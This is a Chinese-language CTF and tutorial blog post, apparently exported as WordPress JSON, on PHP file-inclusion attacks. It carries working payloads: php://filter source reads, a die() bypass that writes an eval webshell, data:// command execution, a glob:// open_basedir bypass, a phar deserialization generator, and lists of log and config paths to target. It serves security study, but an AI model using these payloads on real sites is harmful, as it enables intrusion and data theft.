{"id":331,"date":"2025-05-02T21:26:36","date_gmt":"2025-05-02T13:26:36","guid":{"rendered":"http:\/\/106.54.201.63:8080\/?p=331"},"modified":"2026-03-23T20:55:47","modified_gmt":"2026-03-23T12:55:47","slug":"111-3","status":"publish","type":"post","link":"http:\/\/charlottezhiend.cn:8080\/index.php\/2025\/05\/02\/111-3\/","title":{"rendered":"\u6587\u4ef6\u5305\u542b\u603b\u7ed3"},"content":{"rendered":"\n<p><strong>\u6587\u4ef6\u4e0a\u4f20\u6587\u4ef6\u5305\u542b\u539f\u672c\u53ea\u662f\u4e00\u79cd\u529f\u80fd\uff0c\u4f46\u662f\u56e0\u4e3a\u7a0b\u5e8f\u5458\u6ca1\u6709\u5bf9\u4e0a\u4f20\u7684\u6587\u4ef6\u548c\u5f15\u7528\u7684\u6587\u4ef6\u8fdb\u884c\u4e25\u683c\u7684\u9a8c\u8bc1\u548c\u8fc7\u6ee4\uff0c\u5bfc\u81f4\u6076\u610f\u7528\u6237\u4e0a\u4f20\u6216\u8005\u5305\u542b\u4e86\u6076\u610f\u7684\u6587\u4ef6\u5bfc\u81f4\u4e86\u7f51\u7ad9\u88ab\u653b\u51fb\u3002<\/strong><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u6587\u4ef6\u5305\u542b<\/h1>\n\n\n\n<p>\u6587\u4ef6\u5305\u542b\u7684\u65f6\u5019\u5e38\u7528\u5230\u7684\u51fd\u6570\uff0c<strong>\u4e00\u4e0b\u51fd\u6570\u53ef\u4ee5\u4e0d\u7528()\u7528&#8221;&#8221;\u4e5f\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>include()\uff1a\u6267\u884c\u5230 include \u65f6\u624d\u5305\u542b\u6587\u4ef6\uff0c\u627e\u4e0d\u5230\u88ab\u5305\u542b\u6587\u4ef6\u65f6\u53ea\u4f1a\u4ea7\u751f\u8b66\u544a\uff0c\u811a\u672c\u5c06\u7ee7\u7eed\u6267\u884c\uff1b\nrequire()\uff1a\u53ea\u8981\u7a0b\u5e8f\u4e00\u8fd0\u884c\u5c31\u5305\u542b\u6587\u4ef6\uff0c\u627e\u4e0d\u5230\u88ab\u5305\u542b\u7684\u6587\u4ef6\u65f6\u4f1a\u4ea7\u751f\u81f4\u547d\u9519\u8bef\uff0c\u5e76\u505c\u6b62\u811a\u672c\uff1b\ninclude_once()\u548c require_once()\uff1a\u82e5\u6587\u4ef6\u4e2d\u4ee3\u7801\u5df2\u88ab\u5305\u542b\uff0c\u5219\u4e0d\u4f1a\u518d\u6b21\u5305\u542b\u3002<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u4f2a\u534f\u8bae<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">php:\/\/filter<\/h3>\n\n\n\n<p><strong>\u5728\u6570\u636e\u6d41\u5185\u5bb9\u6ca1\u6709\u8bfb\u53d6\u4e4b\u524d\u6ca1\u6709\u673a\u4f1a\u5e94\u7528\u5176\u4ed6\u8fc7\u6ee4\u5668,\u6709\u4e00\u4e9b\u654f\u611f\u4fe1\u606f\u4f1a\u4fdd\u5b58\u5728php\u6587\u4ef6\u4e2d\uff0c\u5982\u679c\u6211\u4eec\u76f4\u63a5\u5229\u7528\u6587\u4ef6\u5305\u542b\u53bb\u6253\u5f00\u4e00\u4e2aphp\u6587\u4ef6\uff0cphp\u4ee3\u7801\u662f\u4e0d\u4f1a\u663e\u793a\u5728\u9875\u9762\u4e0a\u7684\uff0c\u8fd9\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u4ee5base64\u7f16\u7801\u7684\u65b9\u5f0f\u8bfb\u53d6\u6307\u5b9a\u6587\u4ef6\u7684\u6e90\u7801<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>php:\/\/filter\/convert.base64 -encode\/resource= \u6587\u4ef6\u8def\u5f84<\/code><\/pre>\n\n\n\n<p><strong>\u53c2\u8003\u9898\u76eectfshow web\u5165\u95e878<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nif(isset($_GET&#91;'file'])){\n$file = $_GET&#91;'file'];\ninclude($file);\n}else{\nhighlight_file(<strong>FILE<\/strong>);\n}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u5148\u6d4b\u8bd5\u662f\u5426\u5b58\u5728flag.php\u6216\u8005flag.txt\u4e4b\u7c7b\u7684\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>file=php:\/\/filter\/convert.base64-encode\/resource=flag.php<\/code><\/pre>\n\n\n\n<p>\u76f4\u63a5\u4f7f\u7528\u8be5\u4f2a\u534f\u8bae\u5c31\u80fd\u8bfb\u53d6\u5230\u4e86<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">php:\/\/filter\u7684\u5999\u7528<\/h4>\n\n\n\n<p><strong>php:\/\/filter\/write=convert.base64-decode\/resource=\u7684\u795e\u5947\u5999\u7528<\/strong><\/p>\n\n\n\n<p>\u53c2\u8003\u6587\u732e\u5982\u4e0b<\/p>\n\n\n\n<p><a href=\"https:\/\/www.leavesongs.com\/PENETRATION\/php-filter-magic.html?page=2#_1\">https:\/\/www.leavesongs.com\/PENETRATION\/php-filter-magic.html?page=2#_1<\/a><\/p>\n\n\n\n<p>\u53c2\u8003\u9898\u76eectfshow web\u5165\u95e887<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    $content = $_POST&#91;'content'];\n    $file = str_replace(\"php\", \"???\", $file);\n    $file = str_replace(\"data\", \"???\", $file);\n    $file = str_replace(\":\", \"???\", $file);\n    $file = str_replace(\".\", \"???\", $file);\n    file_put_contents(urldecode($file), \"&lt;?php die('\u5927\u4f6c\u522b\u79c0\u4e86');?&gt;\".$content);\n\n    \n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n<p>file_put_contents(urldecode($file), &#8220;&lt;?php die(&#8216;\u5927\u4f6c\u522b\u79c0\u4e86&#8217;);?&gt;&#8221;.$content);\uff0c\u4f1a\u5411file\u4e2d\u5199\u5165&lt;?php die(&#8216;\u5927\u4f6c\u522b\u79c0\u4e86&#8217;);?&gt;\u548c\u6211\u4eecPOST\u5199\u5165\u7684\uff0c\u53ef\u4ee5\u5728POST\u4f20\u53c2\u7684\u65f6\u5019\u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c<\/p>\n\n\n\n<p><strong>\u5173\u952e\u5728\u4e8e\u9700\u8981\u7ed5\u8fc7die()\u51fd\u6570\uff0c\u4e0d\u7136\u4f1a\u5bfc\u81f4\u7a0b\u5e8f\u63d0\u524d\u7ec8\u6b62\uff0c\u5bfc\u81f4\u6211\u4eec\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\u767d\u8d39\u4e86<\/strong><\/p>\n\n\n\n<p><strong>php:\/\/filter\u4e2d\u7684base64\u65b9\u6cd5\u7684\u5999\u7528<\/strong>(<strong>\u6709\u5199\u64cd\u4f5c\u65f6\uff0c\u5fc5\u987b\u52a0\u4e0a <code class=\"\">write<\/code><\/strong>)\uff0c<strong>\u9996\u5148\u8981\u4e86\u89e3base64\u7684\u7f16\u89e3\u7801\u7279\u6027<\/strong><br><strong>base64\u7f16\u7801\u7684\u7279\u6027\u4e2d\uff0cbase64\u7f16\u7801\u7684\u8303\u56f4\u662f0~9\u3001a~z\u3001A~Z\u3001+\u3001\/\u3002\u5728\u8fdb\u884c\u89e3\u7801\u7684\u65f6\u5019\u4f1a\u8df3\u8fc7\u4e0d\u5408\u6cd5\u7684\u5b57\u7b26(\u4e0d\u5728\u5b57\u7b26\u96c6\u4e2d\u7684\u5b57\u7b26)\u5c06\u5408\u6cd5\u7684\u5b57\u7b26\u8fdb\u884c\u7ec4\u88c5\uff0c\u6700\u540e\u4ec5\u5c06\u5408\u6cd5\u5b57\u7b26\u7ec4\u6210\u4e00\u4e2a\u65b0\u7684\u5b57\u7b26\u4e32\u8fdb\u884c\u89e3\u7801\u3002<\/strong><\/p>\n\n\n\n<p>file_put_contents()\u51fd\u6570\u5c06&#8221;&lt;?php die(&#8216;\u5927\u4f6c\u522b\u79c0\u4e86&#8217;);?&gt;&#8221;.$content\u5199\u5165$file\u4e2d<br>\u6b64\u65f6\u6211\u4eec\u7528\u4f2a\u534f\u8baephp:\/\/filter\/write=convert.base64-decode\/resource=1.php\u5bf9&lt;?php die(&#8216;\u5927\u4f6c\u522b\u79c0\u4e86&#8217;);?&gt;&#8221;.$content\u5185\u5bb9\u8fdb\u884c\u89e3\u7801<\/p>\n\n\n\n<p><strong>\u5728\u89e3\u7801\u7684\u8fc7\u7a0b\u4e2d\uff0c\u5b57\u7b26&lt;\u3001?\u3001;\u3001&gt;\u3001\u7a7a\u683c\u7b49\u4e00\u5171\u67097\u4e2a\u5b57\u7b26\u4e0d\u7b26\u5408base64\u7f16\u7801\u7684\u5b57\u7b26\u8303\u56f4\u5c06\u88ab\u5ffd\u7565\uff0c\u6240\u4ee5\u6700\u7ec8\u88ab\u89e3\u7801\u7684\u5b57\u7b26\u4ec5\u6709\u201cphpdie\u201d\u548c\u6211\u4eec\u4f20\u5165\u7684\u5176\u4ed6\u5b57\u7b26\u3002<\/strong><\/p>\n\n\n\n<p><strong>phpdie\u4e00\u51716\u4e2a\u5b57\u7b26\uff0c\u56e0\u4e3abase64\u7b97\u6cd5\u89e3\u7801\u65f6\u662f4\u4e2abyte\u4e00\u7ec4\uff0c\u6240\u4ee5\u7ed9\u4ed6\u589e\u52a02\u4e2a\u201ca\u201d\u4e00\u51718\u4e2a\u5b57\u7b26\u8fd9\u6837\uff0c&#8221;phpdieaa&#8221;\u88ab\u6b63\u5e38\u89e3\u7801\uff0c\u800c\u540e\u9762\u6211\u4eec\u4f20\u5165\u7684webshell\u7684base64\u5185\u5bb9\u4e5f\u88ab\u6b63\u5e38\u89e3\u7801\u3002\u7ed3\u679c\u5c31\u662f<code>&lt;?php die; ?&gt;<\/code>\u6ca1\u6709\u4e86\u3002<\/strong><\/p>\n\n\n\n<p>\u6240\u4ee5\u6700\u7ec8\u7684payload\u4e3a\uff0c\u5199\u5165\u4e86\u4e00\u53e5\u8bdd\u6728\u9a6c\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30\n\nPOST:content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs\/Pg==\n\u5c1d\u8bd5\u4e86&lt;?php eval($_POST&#91;1])?&gt;\u53d1\u73b0\u4e0d\u884c\u4f46\u662f\u6dfb\u52a0@\u5c31\u884c\u53ef\u80fd\u662f\u4ec0\u4e48\u9632\u62a4\u673a\u5236<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">php:\/\/input<\/h3>\n\n\n\n<p><strong>php:\/\/input\u53ef\u4ee5\u8bfb\u53d6\u6ca1\u6709\u7ecf\u8fc7\u5904\u7406\u7684POST\u6570\u636e\uff0c\u7528\u4e86php:\/\/input\u540ePOST\u5305\u91cc\u5199\u5165\u9700\u8981\u6267\u884c\u7684php\u4ee3\u7801\u5c31\u884c<\/strong><\/p>\n\n\n\n<p><strong>\u53c2\u8003\u9898\u76eectfshow web\u5165\u95e87<\/strong>0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    $file = str_replace(\"php\", \"???\", $file);\n    $file = str_replace(\"data\", \"???\", $file);\n    include($file);\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u5c06php\u548cdata\u66ff\u6362\u4e3a???\uff0c\u4f46\u5176\u5b9e\u5927\u5c0f\u5199\u7ed5\u8fc7\u5373\u53ef<br><strong>\u4f46\u662f\u9700\u8981\u6ce8\u610f\u7684\u662f\u4f2a\u534f\u8bae\u8bfb\u53d6\u6587\u4ef6\uff0c\u6587\u4ef6\u540d\u5fc5\u987b\u662f\u5b8c\u6574\u4e0d\u5e26\u901a\u914d\u7b26\u7684<\/strong><br>\u4e5f\u5c31\u662f\u8bf4\u5982\u679c\u6700\u540eflag\u6240\u5728\u7684\u6587\u4ef6\u662fphp\u7684\u6587\u4ef6\u5c06\u65e0\u6cd5\u8bfb\u53d6<br>\u6240\u4ee5\u8fd9\u91cc\u9009\u62e9\u4e86\u4f7f\u7528<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Php:\/\/input<\/code><\/pre>\n\n\n\n<p>\u6293\u5305\u5199\u5165\u672a\u7ecf\u5904\u7406\u7684POST\u6570\u636e\uff0c\u4ece\u800c\u8fbe\u5230\u8bfb\u53d6\u6587\u4ef6\u7684\u76ee\u7684<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-15-214810-1024x522.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"522\" data-original=\"http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-15-214810-1024x522.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-340\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">zlib:\/\/\u3001bzip2:\/\/<\/h3>\n\n\n\n<p><strong>\u538b\u7f29\u6d41\uff0c\u53ef\u4ee5\u8bbf\u95ee\u538b\u7f29\u6587\u4ef6\u4e2d\u7684\u5b50\u6587\u4ef6\uff0c\u5c06\u5b50\u6587\u4ef6\u7684\u5185\u5bb9\u5f53\u505aphp\u4ee3\u7801\u6267\u884c<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/test.php?file=compress.zlib:\/\/shell.zip\n\/test.php?file=compress.bzip2:\/\/shell.bz2<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u5c06\u5e26\u6709\u6076\u610f\u4ee3\u7801\u7684\u6587\u4ef6\u8fdb\u884c\u538b\u7f29\uff0c\u518d\u5229\u7528\u8be5\u4f2a\u534f\u8bae\u8fdb\u884c\u5305\u542b<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">data:\/\/<\/h3>\n\n\n\n<p><strong>\u5229\u7528 data:\/\/ \u4f2a\u534f\u8bae\u53ef\u4ee5\u76f4\u63a5\u8fbe\u5230\u6267\u884cphp\u4ee3\u7801\u7684\u6548\u679c<\/strong>\uff0c<strong>\u6709\u65f6\u9700\u8981\u5c06\u8981\u6267\u884c\u7684\u4ee3\u7801\u8fdb\u884cbase64\u7f16\u7801\u4e00\u4e0b<\/strong><\/p>\n\n\n\n<p>data:\/\/text\/plain\/;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs\/Pg==<br>data:\/\/text\/plain,&lt;?php system(&#8216;ls;);?&gt;<\/p>\n\n\n\n<p><strong>\u53c2\u8003\u9898\u76eectfshow web\u5165\u95e879<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    $file = str_replace(\"php\", \"???\", $file);\n    include($file);\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n<p><strong>\u65e0\u6cd5\u4f7f\u7528php:\/\/filter\u8fdb\u884c\u8bfb\u53d6\uff0c\u53ea\u80fd\u4f7f\u7528data\u534f\u8bae\u8fdb\u884cRCE<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?file=data:\/\/text\/plain,&lt;?=passthru(\"ls\");?&gt;\n?file=data:\/\/text\/plain,&lt;?=passthru('tac flag????');?&gt;<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">zip:\/\/<\/h3>\n\n\n\n<p>\u538b\u7f29\u6d41\uff0c\u53ef\u4ee5\u8bbf\u95ee\u538b\u7f29\u6587\u4ef6\u4e2d\u7684\u5b50\u6587\u4ef6\uff0c\u5c06\u5b50\u6587\u4ef6\u7684\u5185\u5bb9\u5f53\u505aphp\u4ee3\u7801\u6267\u884c<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">glob:\/\/<\/h3>\n\n\n\n<p><strong>PHP\u4f2a\u534f\u8bae\u4e2d\u7684glob\u4f2a\u534f\u8bae\u53ef\u4ee5\u7528\u4e8e\u83b7\u53d6\u6307\u5b9a\u6a21\u5f0f\u7684\u6587\u4ef6\u8def\u5f84\u5217\u8868\uff0c\u53ef\u4ee5\u7528\u4e8e\u8fdc\u7a0b\u8bfb\u53d6\u6587\u4ef6\u7cfb\u7edf\u6216\u8005\u538b\u7f29\u6587\u4ef6\u4e2d\u7684\u6587\u4ef6\u5217\u8868\uff0c\u5176\u7b5b\u9009\u76ee\u5f55\u4e0d\u53d7open_basedir\u7684\u9650\u5236\uff0c\u53ef\u4ee5\u7528\u4e8e\u7ed5\u8fc7<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>glob:\/\/D:\\xxx\\xxx\\xxx\\*.*<\/code><\/pre>\n\n\n\n<p><strong>\u53c2\u8003\u9898\u76eectfshow web\u5165\u95e872<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nini_set('display_errors', 0);\n\/\/ \u4f60\u4eec\u5728\u70ab\u6280\u5417\uff1f\nif(isset($_POST&#91;'c'])){\n        $c= $_POST&#91;'c'];\n        eval($c);\n        $s = ob_get_contents();\n        ob_end_clean();\n        echo preg_replace(\"\/&#91;0-9]|&#91;a-z]\/i\",\"?\",$s);\n}else{\n    highlight_file(__FILE__);\n}\n\n?&gt;\n\n\u4f60\u8981\u4e0a\u5929\u5417\uff1f<\/code><\/pre>\n\n\n\n<p><strong>\u5f00\u542f\u4e86open_basedir\uff0copen_basedir\u662fPHP\u7684\u4e00\u4e2a\u5b89\u5168\u914d\u7f6e\u6307\u4ee4\uff0c\u7528\u6765\u9650\u5236PHP\u811a\u672c\u53ea\u80fd\u8bbf\u95ee\u8bbf\u95ee\u7279\u5b9a\u7684\u76ee\u5f55\uff0c\u4f46\u662f\u4e0d\u5141\u8bb8\u8bbf\u95ee\u5176\u5b83\u7684\u76ee\u5f55\u6240\u4ee5\u6839\u76ee\u5f55\u65e0\u6cd5\u88ab\u8bbf\u95ee<\/strong>\uff0c<strong>\u4f46\u662f\u5229\u7528glob:\/\/\u53ef\u4ee5\u6709\u6548\u7684\u7ed5\u8fc7<\/strong>\uff0c<strong>\u627e\u5230flag\u4f4d\u7f6e<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>c=$a=new DirectoryIterator(\"glob:\/\/\/*\");\nforeach($a as $f)\n{\n   echo($f-&gt;__toString().' ');\n}\nexit(0);<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">phar:\/\/\uff08\u5229\u7528\u8bbe\u8ba1\u53cd\u5e8f\u5217\u5316\u6a21\u5757\u77e5\u8bc6\uff09<\/h3>\n\n\n\n<p><strong>&nbsp;phar\u7684\u672c\u8d28\u662f\u4e00\u79cd\u538b\u7f29\u6587\u4ef6\uff0c\u5176\u4e2d\u6bcf\u4e2a\u88ab\u538b\u7f29\u6587\u4ef6\u7684\u6743\u9650\u3001\u5c5e\u6027\u7b49\u4fe1\u606f\u90fd\u653e\u5728\u8fd9\u90e8\u5206\u3002\u8fd9\u90e8\u5206\u8fd8\u4f1a\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\uff0c\u8fd9\u662f\u653b\u51fb\u624b\u6cd5\u6700\u6838\u5fc3\u7684\u5730\u65b9\u3002<\/strong><\/p>\n\n\n\n<p><strong>\u6f0f\u6d1e\u5229\u7528\u6761\u4ef6<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>phar\u6587\u4ef6\u8981\u80fd\u591f\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u7aef\u3002<\/li>\n\n\n\n<li>\u8981\u6709\u53ef\u7528\u7684\u9b54\u672f\u65b9\u6cd5\u4f5c\u4e3a\u201c\u8df3\u677f\u201d\u3002<\/li>\n\n\n\n<li>\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570\u7684\u53c2\u6570\u53ef\u63a7\uff0c\u4e14:\u3001\/\u3001phar\u7b49\u7279\u6b8a\u5b57\u7b26\u6ca1\u6709\u88ab\u8fc7\u6ee4\u3002<\/li>\n<\/ul>\n\n\n\n<p><strong>php\u8bc6\u522bphar\u6587\u4ef6\u662f\u901a\u8fc7\u5176\u6587\u4ef6\u5934\u7684stub\uff0c\u66f4\u786e\u5207\u4e00\u70b9\u6765\u8bf4\u662f<code>&lt;?php __HALT_COMPILER() ;?&gt;<\/code>\u8fd9\u6bb5\u4ee3\u7801\uff0c\u5bf9\u524d\u9762\u7684\u5185\u5bb9\u6216\u8005\u540e\u7f00\u540d\u662f\u6ca1\u6709\u8981\u6c42\u7684<\/strong><br><strong>\u56e0\u6b64\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0\u4efb\u610f\u7684\u6587\u4ef6\u5934+\u4fee\u6539\u540e\u7f00\u540d\u7684\u65b9\u5f0f\u5c06phar\u6587\u4ef6\u4f2a\u88c5\u6210\u5176\u4ed6\u683c\u5f0f\u7684\u6587\u4ef6\u3002<\/strong><\/p>\n\n\n\n<p><strong>\u6848\u4f8b<\/strong><\/p>\n\n\n\n<p>upload_file.php \uff0c\u540e\u7aef\u68c0\u6d4b\u6587\u4ef6\u4e0a\u4f20\uff0c\u6587\u4ef6\u7c7b\u578b\u662f\u5426\u4e3a gif \uff0c\u6587\u4ef6\u540e\u7f00\u540d\u662f\u5426\u4e3a gif<br>upload_file.html \u6587\u4ef6\u4e0a\u4f20\u8868\u5355<br>file_un.php \u5b58\u5728 file_exists() \uff0c\u5e76\u4e14\u5b58\u5728 __destruct()<\/p>\n\n\n\n<p>upload_file.php\u5185\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nif (($_FILES&#91;\"file\"]&#91;\"type\"]==\"image\/gif\")&amp;&amp;(substr($_FILES&#91;\"file\"]&#91;\"name\"],\nstrrpos($_FILES&#91;\"file\"]&#91;\"name\"], '.')+1))== 'gif') {\n   echo \"Upload: \" . $_FILES&#91;\"file\"]&#91;\"name\"];\n   echo \"Type: \" . $_FILES&#91;\"file\"]&#91;\"type\"];\n   echo \"Temp file: \" . $_FILES&#91;\"file\"]&#91;\"tmp_name\"];\n   if (file_exists(\"upload_file\/\" . $_FILES&#91;\"file\"]&#91;\"name\"]))\n   {\n       echo $_FILES&#91;\"file\"]&#91;\"name\"] . \" already exists. \";\n   }\n   else\n   {\n       move_uploaded_file($_FILES&#91;\"file\"]&#91;\"tmp_name\"],\n           \"upload_file\/\" .$_FILES&#91;\"file\"]&#91;\"name\"]);\n       echo \"Stored in: \" . \"upload_file\/\" . $_FILES&#91;\"file\"]&#91;\"name\"];\n   }\n}\nelse\n{\n   echo \"Invalid file,you can only upload gif\";\n}<\/code><\/pre>\n\n\n\n<p>upload_file.html\u5185\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!DOCTYPE html&gt;\n&lt;html lang=\"en\"&gt;\n&lt;head&gt;\n   &lt;meta charset=\"UTF-8\"&gt;\n   &lt;title&gt;Title&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;form action=\"upload_file.php\" method=\"post\"\nenctype=\"multipart\/form-data\"&gt;\n   &lt;input type=\"file\" name=\"file\" \/&gt;\n   &lt;input type=\"submit\" name=\"Upload\" \/&gt;\n&lt;\/form&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n\n\n\n<p>payload\u5236\u4f5c\uff0c\u4f7f\u5176\u7ed5\u8fc7gif\u7684\u68c0\u6d4b\uff08\u6d89\u53ca\u53cd\u5e8f\u5217\u5316\u7684\u77e5\u8bc6\uff09<br>\u5199\u4e00\u4e2afile_un.php<br>\u5728\u8fd9\u91cc\u5c55\u793a\u57fa\u7840\u7684payload\u6846\u67b6<br><strong>\u8fd9\u91cc\u7528\u6237\u5bf9GET\u4f20\u5165\u7684\u53c2\u6570filename\u662f\u53ef\u63a7\u7684<\/strong><br><strong>\u540c\u65f6\u56e0\u4e3a\u5f53 PHP \u7528&nbsp;<code>phar:\/\/<\/code>&nbsp;\u8bfb\u53d6 PHAR \u6587\u4ef6\u65f6\uff0c\u4f1a\u81ea\u52a8\u53cd\u5e8f\u5217\u5316&nbsp;<code>metadata<\/code><\/strong>\uff0c<strong>\u800cfile_exists\u51fd\u6570\u662f\u652f\u6301phar:\/\/\u534f\u8bae\u7684<\/strong>\u3002<br><strong>\u5f53\u5176\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\uff0c\u81ea\u52a8\u6267\u884c\u9500\u6bc1__destruct\u9b54\u672f\u65b9\u6cd5<\/strong>\uff0c<strong>\u518d\u5229\u7528eval\u51fd\u6570RCE<\/strong><br><strong>\u4ee5\u4e0a\u5c31\u662f\u5bf9\u4e0b\u9762payload\u6846\u67b6\u7684\u89e3\u91ca<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n$filename=$_GET&#91;'filename'];\nclass AnyClass{\n   var $output = 'echo \"ok\";';\n   function __destruct()\n   {\n       eval($this -&gt; output);\n   }\n}\nfile_exists($filename);<\/code><\/pre>\n\n\n\n<p><strong>payload\u5236\u4f5c \u9996\u5148\u662f\u6839\u636efile_un.php\u5199\u4e00\u4e2a\u751f\u6210phar\u7684php\u6587\u4ef6\uff0c\u5f53\u7136\u9700\u8981\u7ed5\u8fc7gif\uff0c\u6240\u4ee5\u9700\u8981\u52a0GIF89a\uff0c\u7136\u540e\u6211\u4eec\u8bbf\u95ee\u8fd9\u4e2aphp\u6587\u4ef6\u540e\uff0c\u751f\u6210\u4e86phar.phar\uff0c\u4fee\u6539\u540e\u7f00\u4e3agif\uff0c\u4e0a\u4f20\u5230\u670d\u52a1\u5668\uff0c\u7136\u540e\u5229\u7528file_exists\uff0c\u4f7f\u7528phar:\/\/\u6267\u884c\u4ee3\u7801<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nclass AnyClass{\n   var $output = 'echo \"ok\";';\n   function __destruct()\n   {\n       eval($this -&gt; output);\n   }\n}\n$phar = new Phar('eval.phar');\n$phar -&gt; stopBuffering();\n$phar -&gt; setStub('GIF89a'.'&lt;?php __HALT_COMPILER();?&gt;'); \/\/ \u6307\u5b9a\u6587\u4ef6\u5934\n$phar -&gt; addFromString('test.txt','test');\n$object = new AnyClass();\n$object -&gt; output= 'phpinfo();'; \/\/ \u6b64\u5904\u5c31\u662f\u524d\u9762\u53cd\u5e8f\u5217\u8f93\u51fa\u7684\u4f4d\u7f6e\uff0c\u4e5f\u5c31\u662f\u53ef\u4ee5\u63a7\u5236\n$phar -&gt; setMetadata($object);\n$phar -&gt; stopBuffering();\n?&gt;<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6587\u4ef6\u5305\u542b\u5e38\u7528\u7684\u8def\u5f84<\/h2>\n\n\n\n<p><strong>\u65e5\u5fd7\u6587\u4ef6<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/usr\/local\/apache2\/logs\/access_log\n\/logs\/access_log\n\/etc\/httpd\/logs\/access_log\n\/var\/log\/httpd\/access_log<\/code><\/pre>\n\n\n\n<p><strong>\u7f51\u7ad9\u914d\u7f6e\u6587\u4ef6<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>dedecms \u6570\u636e\u5e93\u914d\u7f6e\u6587\u4ef6 data\/common.inc.php,\ndiscuz \u5168\u5c40\u914d\u7f6e\u6587\u4ef6 config\/config_global.php,\nphpcms \u914d\u7f6e\u6587\u4ef6 caches\/configs\/database.php\nphpwind \u914d\u7f6e\u6587\u4ef6 conf\/database.php\nwordpress \u914d\u7f6e\u6587\u4ef6 